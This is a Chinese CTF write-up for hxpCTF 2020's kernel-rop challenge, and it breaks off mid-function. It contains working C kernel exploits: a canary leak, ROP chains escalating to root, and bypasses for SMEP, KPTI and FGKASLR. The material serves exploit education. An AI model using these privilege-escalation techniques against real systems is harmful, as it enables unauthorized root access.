Challenges
hxpCTF 2020 kernel-rop
已经同步到 gittee

先读取出 init 的文件系统

1
2
gunzip initramfs.cpio.gz
mv vmlinuz vmlinux

设置 inittab 中 sh 权限为 root

1
setuidgid 0000 sh

# hackme.so

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
ssize_t __fastcall hackme_write(file *f, const char *data, size_t size, loff_t *off)
{
unsigned __int64 v4; // rdx
ssize_t size_1; // rbx
int tmp[32]; // [rsp+0h] [rbp-A0h] BYREF
unsigned __int64 v8; // [rsp+80h] [rbp-20h]

size_1 = v4;
v8 = __readgsqword(0x28u);
if ( v4 > 0x1000 )
{
_warn_printk("Buffer overflow detected (%d < %lu)!\n", 4096LL, v4);
BUG();
}
_check_object_size(hackme_buf, v4, 0LL);
if ( copy_from_user(hackme_buf, data, size_1) ) [1] <<- 用户cp数据到 hackme_buf
return -14LL;
_memcpy(tmp, hackme_buf); [2] <<- 溢出tmp
return size_1;
}

再看 read

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
ssize_t __fastcall hackme_read(file *f, char *data, size_t size, loff_t *off)
{
unsigned __int64 v4; // rdx
unsigned __int64 size_1; // rbx
bool v6; // zf
ssize_t result; // rax
int tmp[32]; // [rsp+0h] [rbp-A0h] BYREF
unsigned __int64 v9; // [rsp+80h] [rbp-20h]

_fentry__();
size_1 = v4;
v9 = __readgsqword(0x28u);
_memcpy(hackme_buf, tmp); [1] <<- 注意 tmp下面就是canary 可以泄漏
if ( size_1 > 0x1000 )
{
_warn_printk("Buffer overflow detected (%d < %lu)!\n", 4096LL, size_1);
BUG();
}
_check_object_size(hackme_buf, size_1, 1LL);
v6 = copy_to_user(data, hackme_buf, size_1) == 0;
result = -14LL;
if ( v6 )
return size_1;
return result;
}

# 无 SMEP SMAP KPTI KASLR

removing +smep , +smap , kpti=1 , kaslr and adding nopti , nokaslr .

1
2
3
4
5
6
7
8
9
10
11
12
#!/bin/sh
qemu-system-x86_64 \
-m 256M \
-cpu kvm64 \
-kernel ./vmlinux \
-initrd ./initrd.modified.cpio \
-snapshot \
-nographic \
-monitor /dev/null \
-no-reboot \
-append "console=ttyS0 nokpti quiet panic=1 nokaslr" \
-s

canary 和 tmp 的距离如下 memcpy 不是 0 截断 rdx 是由 size 给到的

1
2
-00000000000000A0 tmp             dd 32 dup(?)
-0000000000000020 anonymous_0 dq ?

断到目标位置 截取 canary

1
2
3
4
5
0xffffffffc0000046                  mov    rax, QWORD PTR gs:0x28
0xffffffffc000004f mov QWORD PTR [rbp-0x18], rax

gef➤ p/x $rax
$1 = 0xbced0c8930859900

泄漏出了 canary 后 查看 write 的汇编 和 useland 不同的是 这里弹了三个寄存器

1
2
3
4
.text.hackme_write:00000000000000A8                 pop     rbx
.text.hackme_write:00000000000000A9 pop r12
.text.hackme_write:00000000000000AB pop rbp
.text.hackme_write:00000000000000AC retn

至于这个偏移可以打入特殊值断点调试
最终要调用 swapgs 和 iretq
栈上要布局五个寄存器 (向下面这样)

1
2
3
4
5
6
7
8
ROP[i++] = a[SWAPGS_POP_RET];
ROP[i++] = 0;
ROP[i++] = a[IRETQ];
ROP[i++] = (u64)getshell;
ROP[i++] = user_cs;
ROP[i++] = user_flags;
ROP[i++] = user_sp;
ROP[i++] = user_ss;

由于这题十分奇怪 各个操作的基址不停的在变化 所以需要通过别的途径来获取

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
#include <stdio.h>
#include <pthread.h>
#include <unistd.h>
#include <stdlib.h>
#include <sys/ioctl.h>
#include <sys/types.h>
#include <sys/stat.h>
#include <fcntl.h>
#include <string.h>
#include <fcntl.h>
#include <sys/mman.h>
#include <errno.h>
#include <signal.h>
#include <sys/syscall.h>
#include <stdint.h>
#include <sys/prctl.h>
#include <linux/userfaultfd.h>
#include <poll.h>
#include <assert.h>
#include "include/head.h"
unsigned long long write_addr, read_addr;
void getOpAddr(){
if(getuid() == 0){
Info("root get operation addr");
FILE * stream = popen("cat /proc/kallsyms | grep hackme_write | awk '{print $1}'", "r");
assert(stream != NULL);
char buf[0x20];
fread(buf, 0x10, 1 ,stream);
write_addr = strtoul(buf, NULL, 16);
Info("write_addr = 0x%lx", write_addr);

stream = popen("cat /proc/kallsyms | grep hackme_read | awk '{print $1}'", "r");
assert(stream != NULL);
fread(buf, 0x10, 1 ,stream);
read_addr = strtoul(buf, NULL, 16);
Info("read_addr = 0x%lx", read_addr);
}
}
void main(){
getOpAddr();
}

然后栈溢出的操作比较简单

  • 劫持 rip 到用户函数 先 cc (pkc) 提权
  • 再跳转到 布局用户态寄存器 swapgs + iretq
  • 上述操作的时候可以劫持 rip 返回 getShell 函数

# exp

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
typedef unsigned long long u64;
int fd;
u64 write_addr, read_addr;
u64 user_cs,user_ss,user_sp,user_rflags;
void saveState(){
__asm__ __volatile__ (
"mov %cs, user_cs;"
"mov %ss, user_ss;"
"mov %rsp, user_sp;"
"pushf;"
"pop user_rflags;"
);
Done("saveState");
}
void open_dev(){
fd = open("/dev/hackme", O_RDWR);
if (fd < 0){
Panic("open_dev() failed");
}
Done("open_dev()");
}
// write to kernel
void wtk(char *buf, u64 size){
Info("wtk start");
write(fd, buf, size);
Done("wtk");
}
// read from kernel
void rfk(char *buf, u64 size){
Info("rfk start");
read(fd, buf, size);
Done("rfk");
}
void getOpAddr(){
if(getuid() == 0){
Info("root get operation addr");
FILE * stream = popen("cat /proc/kallsyms | grep hackme_write | awk '{print $1}'", "r");
assert(stream != NULL);
char buf[0x20];
fread(buf, 0x10, 1 ,stream);
write_addr = strtoul(buf, NULL, 16);
Info("write_addr = 0x%lx", write_addr);

stream = popen("cat /proc/kallsyms | grep hackme_read | awk '{print $1}'", "r");
assert(stream != NULL);
fread(buf, 0x10, 1 ,stream);
read_addr = strtoul(buf, NULL, 16);
Info("read_addr = 0x%lx", read_addr);
}
Done("getOpAddr");
}
void getShell(){
if(getuid() == 0){
Info("get shell now");
system("/bin/sh");
}else{
Panic("getShell failed");
}
}
u64 pkc = 0xffffffff814c67f0;
u64 cc = 0xffffffff814c6410;
u64 sh = (u64)getShell;
void getRoot(){
(* (int *(*)(void *))cc)((* (void *(*)(void *))pkc)(NULL));
ret2usr();
}
void ret2usr(){
__asm__(
".intel_syntax noprefix;"
"mov r15, user_ss;"
"push r15;"
"mov r15, user_sp;"
"push r15;"
"mov r15, user_rflags;"
"push r15;"
"mov r15, user_cs;"
"push r15;"
"mov r15, sh;"
"push r15;"
"swapgs;"
"iretq;"
".att_syntax;"
);
}
int main(){
open_dev();
// getOpAddr();
char buf[0x80];
char store[0x100];
memset(buf, '\xff', 0x80);
wtk(buf, 0x80);
rfk(store,0x90);
u64 *ptr = store;
Dbg("store addr is 0x%lx", store);
Info("canary is 0x%lx", ptr[2]);
u64 canary = ptr[2];
// wtk(buf, 0x10);
u64 payload[50];
int off = 16;
saveState();
payload[off++] = canary;
payload[off++] = 0;// rbx
payload[off++] = 0;// r12
payload[off++] = 0;// rbp
payload[off++] = getRoot;
wtk(payload, off * 8);
}

# 增加 SMEP

# ROP

开了 SMEP 就要 ROP 了
这是高版本的内核 没有 cr4 相关的 gadget 了

1
2
/ $ uname -r
5.9.0-rc6+

只能纯走 ROP 也就是 ROP 里 cc (pkc) 然后 swapgs 和 iretq
所以需要找类似 mov rdi, rax 的 gadget 或者 xchg

1
objdump -j .text -d ./vmlinux | grep iretq | head -3
  • -j, --section=NAME Only display information for section NAME
  • -d, --disassemble Display assembler contents of executable sections
    用 j 可以指定特殊的节

就是 ROPgadget 找出来的 gadget 不是全在可执行区域 要找半天 有些还找不到
如果 gdb 里看到 int3 就是不可执行区域了

这里本来试了好多 gadgets 结果都因为不可执行没法用 最后只能用作者的
注意到第一个 cmp 只是为了标记 test 后的 flag 位(cmp 和 test 都标记 zf)

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
int main(){
open_dev();
// getOpAddr();
char buf[0x80];
char store[0x100];
memset(buf, '\xff', 0x80);
wtk(buf, 0x80);
rfk(store,0x90);
u64 *ptr = store;
Dbg("store addr is 0x%lx", store);
Info("canary is 0x%lx", ptr[2]);
u64 canary = ptr[2];
// wtk(buf, 0x10);
u64 payload[50];
int off = 16;
u64 kernel_base = 0xffffffff80000000;
u64 pop_rdx_ret = 0xffffffff81007616; // pop rdx ; ret
u64 cmp_rdx_jne_pop2_ret = 0xffffffff81964cc4; // cmp rdx, 8 ; jne 0xffffffff81964cbb ; pop rbx ; pop rbp ; ret
u64 mov_rdi_rax_jne_pop2_ret = 0xffffffff8166fea3; // mov rdi, rax ; jne 0xffffffff8166fe7a ; pop rbx ; pop rbp ; ret
u64 pop_rdi_ret = 0xffffffff81006370; // pop rdi ; ret
u64 swapgs_pop1_ret = 0xffffffff8100a55f; // not found
u64 iretq = 0xffffffff8100c0d9; // iretq
saveState();
payload[off++] = canary;
payload[off++] = 0;// rbx
payload[off++] = 0;// r12
payload[off++] = 0;// rbp
payload[off++] = pop_rdi_ret;
payload[off++] = 0;
payload[off++] = pkc;
payload[off++] = pop_rdx_ret;
payload[off++] = 8;
payload[off++] = cmp_rdx_jne_pop2_ret;// make test branch not reach
payload[off++] = 0;
payload[off++] = 0;
payload[off++] = mov_rdi_rax_jne_pop2_ret;
payload[off++] = 0;
payload[off++] = 0;
payload[off++] = cc;
payload[off++] = swapgs_pop1_ret;
payload[off++] = 0;
payload[off++] = iretq;
payload[off++] = getShell;
payload[off++] = user_cs;
payload[off++] = user_rflags;
payload[off++] = user_sp;
payload[off++] = user_ss;
wtk(payload, off * 8);
}

# Stack Pivot

基本按照博客思路 copy 一遍(
首先找到一个能移动一个常数给 esp 的(给 esp 是因为到用户空间 高位会清零

1
mov_esp_pop2_ret = 0xffffffff8196f56a; // mov esp, 0x5b000000 ; pop r12 ; pop rbp ; ret

然后就是 mmap 开内存到上面 mov 给 esp 增长的地方
主要注意一点 因为 rsp 可增可见 所以上下的偏移都要留足
然后记得都写点内容触发下换页 免得出现中断又切回内核了

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
u64 kernel_base              = 0xffffffff80000000;
u64 pop_rdx_ret = 0xffffffff81007616; // pop rdx ; ret
u64 cmp_rdx_jne_pop2_ret = 0xffffffff81964cc4; // cmp rdx, 8 ; jne 0xffffffff81964cbb ; pop rbx ; pop rbp ; ret
u64 mov_rdi_rax_jne_pop2_ret = 0xffffffff8166fea3; // mov rdi, rax ; jne 0xffffffff8166fe7a ; pop rbx ; pop rbp ; ret
u64 pop_rdi_ret = 0xffffffff81006370; // pop rdi ; ret
u64 swapgs_pop1_ret = 0xffffffff8100a55f; // not found
u64 iretq = 0xffffffff8100c0d9; // iretq
u64 mov_esp_pop2_ret = 0xffffffff8196f56a; // mov esp, 0x5b000000 ; pop r12 ; pop rbp ; ret
void StackPivot(u64 canary){
u64 *p = mmap(
(void *)0x5b000000 - 0x1000, 0x2000, PROT_READ|PROT_WRITE|PROT_EXEC,
MAP_ANONYMOUS|MAP_PRIVATE|MAP_FIXED, -1, 0
);
u64 off = 0x1000/8;
p[1 ] = 0xdeedbeaf;
p[off++] = 0;// dummy
p[off++] = 0;// dummy
p[off++] = pop_rdi_ret;
p[off++] = 0;
p[off++] = pkc;
p[off++] = pop_rdx_ret;
p[off++] = 8;
p[off++] = cmp_rdx_jne_pop2_ret;// make test branch not reach
p[off++] = 0;
p[off++] = 0;
p[off++] = mov_rdi_rax_jne_pop2_ret;
p[off++] = 0;
p[off++] = 0;
p[off++] = cc;
p[off++] = swapgs_pop1_ret;
p[off++] = 0;
p[off++] = iretq;
p[off++] = getShell;
p[off++] = user_cs;
p[off++] = user_rflags;
p[off++] = user_sp;
p[off++] = user_ss;
Done("StackPivot");
}
int main(){
open_dev();
// getOpAddr();
char buf[0x80];
char store[0x100];
memset(buf, '\xff', 0x80);
wtk(buf, 0x80);
rfk(store,0x90);
u64 *ptr = store;
Dbg("store addr is 0x%lx", store);
Info("canary is 0x%lx", ptr[2]);
u64 canary = ptr[2];
// wtk(buf, 0x10);
u64 payload[50];
int off = 16;

saveState();
payload[off++] = canary;
payload[off++] = 0;// rbx
payload[off++] = 0;// r12
payload[off++] = 0;// rbp
payload[off++] = mov_esp_pop2_ret;
StackPivot(canary);
wtk(payload, off * 8);
}

# 增加 KPTI

KPTI 在文章里写的很清楚 在用户态只能用 userland 的页表和 minimal 的内核页表了
本人没找到较好的说明文章,我觉得是这个 minimal 中只包含 swapgs_restore_regs_and_return_to_usermode 这个 gadget 了,
而不包含之前的 swapgs_pop1_ret .
也就是没法实现类似 函数调用一样的用户列表切换到内核区域去执行和某些 ROP 的情况了

1
2
3
4
void getRoot(){
(* (int *(*)(void *))cc)((* (void *(*)(void *))pkc)(NULL));
ret2usr();
}

作者提到了两种办法 此外还有一种格外的方法

  • 一种是用 signal handler 去 hook 掉这个 SIGSEGV 信号 在 signal 里面进行内核函数的执行却不会触发
  • 另外的是 KPTI trampoline 也就是复用内核中交换页表的 gadget 再次换回来(gs 寄存器控制内核页表)
  • 用控制 cr3 的 gadgets 去 把 cr3 或上 0x1000
    内核态的页表是全的 用户态页表才是残缺的

也就是之前学过的这个 gadgets 不过这里略微不同 对于开了 kpti 的程序是这样的(至于为什么会不用原先的,我也没弄明白,
因为我实际调试的时候发现 cr3 没变)

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
cat /proc/kallsyms | grep swapgs_restore_regs_and_return_to_usermode
-> ffffffff81200f10 T swapgs_restore_regs_and_return_to_usermode

0xffffffff81200f26: mov rdi,rsp [1] <<- 先把rsp给到rdi
0xffffffff81200f29: mov rsp,QWORD PTR gs:0x6004 [2] <<- 然后复制新的rsp push都在新rsp上
0xffffffff81200f32: push QWORD PTR [rdi+0x30]
0xffffffff81200f35: push QWORD PTR [rdi+0x28]
0xffffffff81200f38: push QWORD PTR [rdi+0x20]
0xffffffff81200f3b: push QWORD PTR [rdi+0x18]
0xffffffff81200f3e: push QWORD PTR [rdi+0x10]
0xffffffff81200f41: push QWORD PTR [rdi] [3] <<- 原先rsp的内容在栈上
0xffffffff81200f43: push rax
0xffffffff81200f44: jmp 0xffffffff81200f89

(···)

0xffffffff81200f89: pop rax [4] <<- rax就是原先push的rax 没有变化
0xffffffff81200f8a: pop rdi [5] <<- rsp为之前rsp的解引用了
0xffffffff81200f8b: swapgs
0xffffffff81200f8e: data16 xchg ax,ax
0xffffffff81200f91: jmp 0xffffffff81200fc0

(···)

0xffffffff81200fc0: test BYTE PTR [rsp+0x20],0x4
0xffffffff81200fc5: jne 0xffffffff81200fc9
0xffffffff81200fc7: iretq

这里作者解释错了 对于 swapgs_restore_regs_and_return_to_usermode 真正给出两个 dummy 的并不是两个 pop,
这里压入 6 个寄存器,而只弹出了两个然后剩下的 [rdi+0x10] 开始才是真的 rip|cs|rflag|sp|ss , 所以当 rsp 指向如下位置的时候,
rsp+0x10 正是 rip 的位置,这两个 0dummy 是占位,并不是所说的两个 pop。

1
2
3
4
5
6
7
8
payload[off++] = kpti_trampoline;
payload[off++] = 0; <- rsp
payload[off++] = 0;
payload[off++] = ret;
payload[off++] = user_cs;
payload[off++] = user_rflags;
payload[off++] = user_sp;
payload[off++] = user_ss;

[[swapgs_restore_regs_and_return_to_usermode]]

用户态进入内核态会调用 SWITCH_KERNEL_CR3_NO_STACK 从用户态切换到内核态
也就是清零 12 位和 13 位

1
2
3
4
5
6
7
8
mov     rdi, cr3
nop
nop
nop
nop
nop
and rdi, 0xFFFFFFFFFFFFE7FF
mov cr3, rdi

而在从内核态返回用户态时会调用 SWITCH_USER_CR3 宏来切换 CR3 ,如下所示:

1
2
3
mov     rdi, cr3
or rdi, 1000h
mov cr3, rdi

# exp1 - trampoline

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
u64 kernel_base              = 0xffffffff80000000;
u64 pop_rdx_ret = 0xffffffff81007616; // pop rdx ; ret
u64 cmp_rdx_jne_pop2_ret = 0xffffffff81964cc4; // cmp rdx, 8 ; jne 0xffffffff81964cbb ; pop rbx ; pop rbp ; ret
u64 mov_rdi_rax_jne_pop2_ret = 0xffffffff8166fea3; // mov rdi, rax ; jne 0xffffffff8166fe7a ; pop rbx ; pop rbp ; ret
u64 pop_rdi_ret = 0xffffffff81006370; // pop rdi ; ret
u64 swapgs_pop1_ret = 0xffffffff8100a55f; // not found
u64 iretq = 0xffffffff8100c0d9; // iretq
u64 mov_esp_pop2_ret = 0xffffffff8196f56a; // mov esp, 0x5b000000 ; pop r12 ; pop rbp ; ret
u64 kpti_trampoline = 0xffffffff81200f10+22;
int main(){
open_dev();
// getOpAddr();
char buf[0x80];
char store[0x100];
memset(buf, '\xff', 0x80);
wtk(buf, 0x80);
rfk(store,0x90);
u64 *ptr = store;
Dbg("store addr is 0x%lx", store);
Info("canary is 0x%lx", ptr[2]);
u64 canary = ptr[2];
// wtk(buf, 0x10);
u64 payload[50];
int off = 16;

saveState();
Info("Bypass kpti");
payload[off++] = canary;
payload[off++] = 0;// rbx
payload[off++] = 0;// r12
payload[off++] = 0;// rbp
payload[off++] = pop_rdi_ret;
payload[off++] = 0;
payload[off++] = pkc;
payload[off++] = pop_rdx_ret;
payload[off++] = 8;
payload[off++] = cmp_rdx_jne_pop2_ret;// make test branch not reach
payload[off++] = 0;
payload[off++] = 0;
payload[off++] = mov_rdi_rax_jne_pop2_ret;
payload[off++] = 0;
payload[off++] = 0;
payload[off++] = cc;
payload[off++] = kpti_trampoline;
payload[off++] = 0; // dummy
payload[off++] = 0; // dummy
payload[off++] = getShell;
payload[off++] = user_cs;
payload[off++] = user_rflags;
payload[off++] = user_sp;
payload[off++] = user_ss;
// StackPivot(canary);
wtk(payload, off * 8);
}

# exp2 - signal SIGSEGV

在开启 KPTI 内核,提权返回到用户态(iretq/sysret)之前如果不设置 CR3 寄存器的值,
就会导致进程找不到当前程序的正确页表,引发段错误,程序退出。
不过可以用 signal hook 掉这个信号 实现 getshell。
其实只是简单的在普通没开 KPTI 的 swapgs/iretq 的基础上加一行 signal(SIGSEGV, getShell); 即可

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
void getShell(){
if(getuid() == 0){
Info("get shell now");
system("/bin/sh");
}else{
Panic("getShell failed");
}
}
int main(){
signal(SIGSEGV, getShell);
open_dev();
// getOpAddr();
char store[0x100];
rfk(store,0x90);
u64 *ptr = store;
Dbg("store addr is 0x%lx", store);
Info("canary is 0x%lx", ptr[2]);
u64 canary = ptr[2];
// wtk(buf, 0x10);
u64 payload[50];
int off = 16;
u64 kernel_base = 0xffffffff80000000;
u64 pop_rdx_ret = 0xffffffff81007616; // pop rdx ; ret
u64 cmp_rdx_jne_pop2_ret = 0xffffffff81964cc4; // cmp rdx, 8 ; jne 0xffffffff81964cbb ; pop rbx ; pop rbp ; ret
u64 mov_rdi_rax_jne_pop2_ret = 0xffffffff8166fea3; // mov rdi, rax ; jne 0xffffffff8166fe7a ; pop rbx ; pop rbp ; ret
u64 pop_rdi_ret = 0xffffffff81006370; // pop rdi ; ret
u64 swapgs_pop1_ret = 0xffffffff8100a55f; // not found
u64 iretq = 0xffffffff8100c0d9; // iretq
saveState();
payload[off++] = canary;
payload[off++] = 0;// rbx
payload[off++] = 0;// r12
payload[off++] = 0;// rbp
payload[off++] = pop_rdi_ret;
payload[off++] = 0;
payload[off++] = pkc;
payload[off++] = pop_rdx_ret;
payload[off++] = 8;
payload[off++] = cmp_rdx_jne_pop2_ret;// make test branch not reach
payload[off++] = 0;
payload[off++] = 0;
payload[off++] = mov_rdi_rax_jne_pop2_ret;
payload[off++] = 0;
payload[off++] = 0;
payload[off++] = cc;
payload[off++] = swapgs_pop1_ret;
payload[off++] = 0;
payload[off++] = iretq;
payload[off++] = getShell;
payload[off++] = user_cs;
payload[off++] = user_rflags;
payload[off++] = user_sp;
payload[off++] = user_ss;
wtk(payload, off * 8);
}

# 增加 SMAP

Supervisor Mode Access Prevention
marks all the userland pages in the page table as non-accessible when the process is in kernel-mode,
by setting the 21st bit of Control Register CR4 .

对用户态的一切读写都将失效,
对 ROP 依旧也用,但是栈迁移不行了

# 再加上 KASLR 保护开满

其实我觉得就多泄漏一个 base 之外和之前的 ROP 没啥区别了,不过事情没我想的这么简单
这里其实还有个保护 叫做 Function Granular KASLR 会打乱函数到内核基址的偏移,也就是上面遇到的 rearrange
FGKASLR - CTF Wiki
根据 wiki 和文章 可以得知

  • __ksymtab 不会参与随机化
  • .data 不会参与随机化
  • The functions from _text base to __x86_retpoline_r15 , which is _text+0x400dc6 are unaffected.
    这个段落包括
  • swapgs_restore_regs_and_return_to_usermode,该部分的代码可以帮助我们绕过 KPTI 防护
  • memcpy 内存拷贝
  • sync_regs,可以把 RAX 放到 RDI 中

不会参与随机化的部分 有以下的 gadgets

1
2
3
u64 pop_rax_ret = kernel_base + 0x4d11; // pop rax; ret
u64 read_mem_pop1_ret = kernel_base + 0x4aae; // mov eax, qword ptr [rax + 0x10]; pop rbp; ret;
u64 pop_rdi_rbp_ret = kernel_base + 0x38a0; // pop rdi; pop rbp; ret;

1 和 2 的 gadget 构成了任意地址读写的 primitive
对于 kernel_table , 就是 ksymtab 里的每一项,这个到内核基址是固定的。
他记录的符号表的偏移(通过 ksymtab 看到的)

1
2
3
4
5
struct kernel_symbol {
int value_offset; [1] <<- 真正有用的
int name_offset;
int namespace_offset;
};

sync_regs 如下

1
2
3
4
5
6
7
8
9
10
11
12
0xffffffff8100aec0:  push   rbp
0xffffffff8100aec1: mov rbp,rsp
0xffffffff8100aec4: mov rax,QWORD PTR gs:[rip+0x7effb140] # 0x600c
0xffffffff8100aecc: sub rax,0xa8
0xffffffff8100aed2: cmp rax,rdi
0xffffffff8100aed5: je 0xffffffff8100aee5
0xffffffff8100aed7: mov rsi,rdi
0xffffffff8100aeda: mov ecx,0x15
0xffffffff8100aedf: mov rdi,rax [1] <<- 个人觉得从这里开始比较好
0xffffffff8100aee2: rep movs QWORD PTR es:[rdi],QWORD PTR ds:[rsi]
0xffffffff8100aee5: pop rbp
0xffffffff8100aee6: ret

通过不断的调整位置 打印寻找 终于找到了合适的地址 leak

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
/ $ ./exp 
[+] saveState done
[+] open_dev() done
[*] rfk start
[+] rfk done
[*] canary is 0x9292ebeb2e24af00
p[1] : 0x19
p[10] : 0xffffffff8184e047
p[11] : 0xffffffff8184e047
p[20] : 0xffffffff816d51ff
p[27] : 0xffffffff816d5727
p[28] : 0xffffffff8152b8a1
p[38] : 0xffffffff8100a157 <<- 这逼东西
p[51] : 0x19
p[56] : 0x3
p[59] : 0x33

这里构造了两个原语 一个实现任意地址读写的原语 一个实现了 f (x) 的函数调用的原语,
分别是用来读取 ksymtab 和实现 cc(pkc) 的。

# 两个原语

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
void read_from_addr_primitive(char *addr, void (*f)()){
u64 payload[0x40];
u64 off = 16;
payload[off++] = canary;
payload[off++] = 0;// rbx
payload[off++] = 0;// r12
payload[off++] = 0;// rbp
payload[off++] = pop_rax_ret;
payload[off++] = addr - 0x10;
payload[off++] = read_mem_pop1_ret;
payload[off++] = 0;// dummy
payload[off++] = kpti_trampoline;
payload[off++] = 0;// dummy rax
payload[off++] = 0;// dummy rdi
payload[off++] = f;
payload[off++] = user_cs;
payload[off++] = user_rflags;
payload[off++] = user_sp;
payload[off++] = user_ss;
wtk(payload, off * 8);
Done("read_from_addr_primitive");
}

这里会将 rax 作为指定内存读出来的地址,也就是 kernel_symbol 中的 value_offset 值,
然后和对应的 __ksymtab_symname 的地址加起来就是我们要的最终函数的偏移。
由于是 rip 直接切换为 f 没有在栈上留下返回地址 所以这个是不能返回的 也就是 Done 这个函数压根执行不到。
所以只能层层递归套娃。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
void fn_rdi_ret_primitive(void (*fn)(), u64 rdi, void (*ret)()){
u64 payload[0x40];
u64 off = 16;
payload[off++] = canary;
payload[off++] = 0;// rbx
payload[off++] = 0;// r12
payload[off++] = 0;// rbp
payload[off++] = pop_rdi_rbp_ret;
payload[off++] = rdi;
payload[off++] = 0;
payload[off++] = fn;
payload[off++] = kpti_trampoline;
payload[off++] = 0;// dummy rax
payload[off++] = 0;// dummy rdi
payload[off++] = ret;
payload[off++] = user_cs;
payload[off++] = user_rflags;
payload[off++] = user_sp;
payload[off++] = user_ss;
wtk(payload, off * 8);
Done("fn_rdi_ret_primitive");
}

这种只要有能控制 rdi 的 gadget 就行, 然后两个原语每次读出来的值都用 rax 保存后用汇编给到我们的指定寄存器。
对于 prepare_kernel_cred , 返回的是一个 cred 结构体,可以用临时变量存储即可。然后注意一点,rax 弄好了就别打印输出东西了,
否则会毁坏掉 rax 的内容。
这里还一个疑点, kpti_trampoline 之后有个 pop rax ,会破坏掉原语创造的 rax

# exp1

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
152
153
154
155
156
157
158
159
160
161
162
163
164
165
166
167
168
169
170
171
172
173
174
175
176
177
178
179
180
181
182
183
184
185
186
187
188
189
190
191
192
193
#include <stdio.h>
#include <pthread.h>
#include <unistd.h>
#include <stdlib.h>
#include <sys/ioctl.h>
#include <sys/types.h>
#include <sys/stat.h>
#include <fcntl.h>
#include <string.h>
#include <fcntl.h>
#include <sys/mman.h>
#include <errno.h>
#include <signal.h>
#include <sys/syscall.h>
#include <stdint.h>
#include <sys/prctl.h>
#include <linux/userfaultfd.h>
#include <poll.h>
#include <assert.h>
#include "include/head.h"
#define PAGE_SIZE 1024
typedef unsigned long long u64;

int fd;
u64 write_addr, read_addr;
u64 user_cs,user_ss,user_sp,user_rflags;
void (*rfap)(char *, void (*)());
void (*frrp)(void (*)(), u64, void (*)());
void saveState(){
__asm__ __volatile__ (
"mov %cs, user_cs;"
"mov %ss, user_ss;"
"mov %rsp, user_sp;"
"pushf;"
"pop user_rflags;"
);
Done("saveState");
}
void open_dev(){
fd = open("/dev/hackme", O_RDWR);
if (fd < 0){
Panic("open_dev() failed");
}
Done("open_dev()");
}
// write to kernel
void wtk(char *buf, u64 size){
Info("wtk start");
write(fd, buf, size);
Done("wtk");
}
// read from kernel
void rfk(char *buf, u64 size){
Info("rfk start");
read(fd, buf, size);
Done("rfk");
}
void getShell(){
if(getuid() == 0){
Info("get shell now");
system("/bin/sh");
}else{
Panic("getShell failed");
}
}
u64 sh = (u64)getShell;

u64 kernel_base = 0xffffffff80000000;
u64 kpti_trampoline = 0x200f10+22;
u64 pop_rax_ret = 0x4d11; // pop rax; ret
u64 read_mem_pop1_ret = 0x4aae; // mov eax, qword ptr [rax + 0x10]; pop rbp; ret;
u64 pop_rdi_rbp_ret = 0x38a0; // pop rdi; pop rbp; ret;
u64 canary = 0;
u64 ksymtab_prepare_kernel_cred = 0xf8d4fc;
u64 ksymtab_commit_creds = 0xf87d90;
u64 tmp_rax;

void print_leak(u64 *p, u64 n){
for(u64 i = 0; i < n; i++){
if(p[i] & 0xffffffff81000000 == 0xffffffff81000000)
printf("p[%d] : 0x%lx\n", i, p[i]);
}
}
void leak(){
Info("leak");
char store[0x300];
rfk(store,0x1f0);
u64 *ptr = store;
Info(" --> canary is 0x%lx", ptr[2]);
canary = ptr[2];
kernel_base = ptr[38] - 0xa157;
Info(" --> kernel_base is 0x%lx",kernel_base);
u64 payload[50];
pop_rdi_rbp_ret += kernel_base;
pop_rax_ret += kernel_base;
read_mem_pop1_ret += kernel_base;
kpti_trampoline += kernel_base;
ksymtab_prepare_kernel_cred += kernel_base;
ksymtab_commit_creds += kernel_base;
Done("leak");
}
void read_from_addr_primitive(char *addr, void (*f)()){
u64 payload[0x40];
u64 off = 16;
payload[off++] = canary;
payload[off++] = 0;// rbx
payload[off++] = 0;// r12
payload[off++] = 0;// rbp
payload[off++] = pop_rax_ret;
payload[off++] = addr - 0x10;
payload[off++] = read_mem_pop1_ret;
payload[off++] = 0;// dummy
payload[off++] = kpti_trampoline;
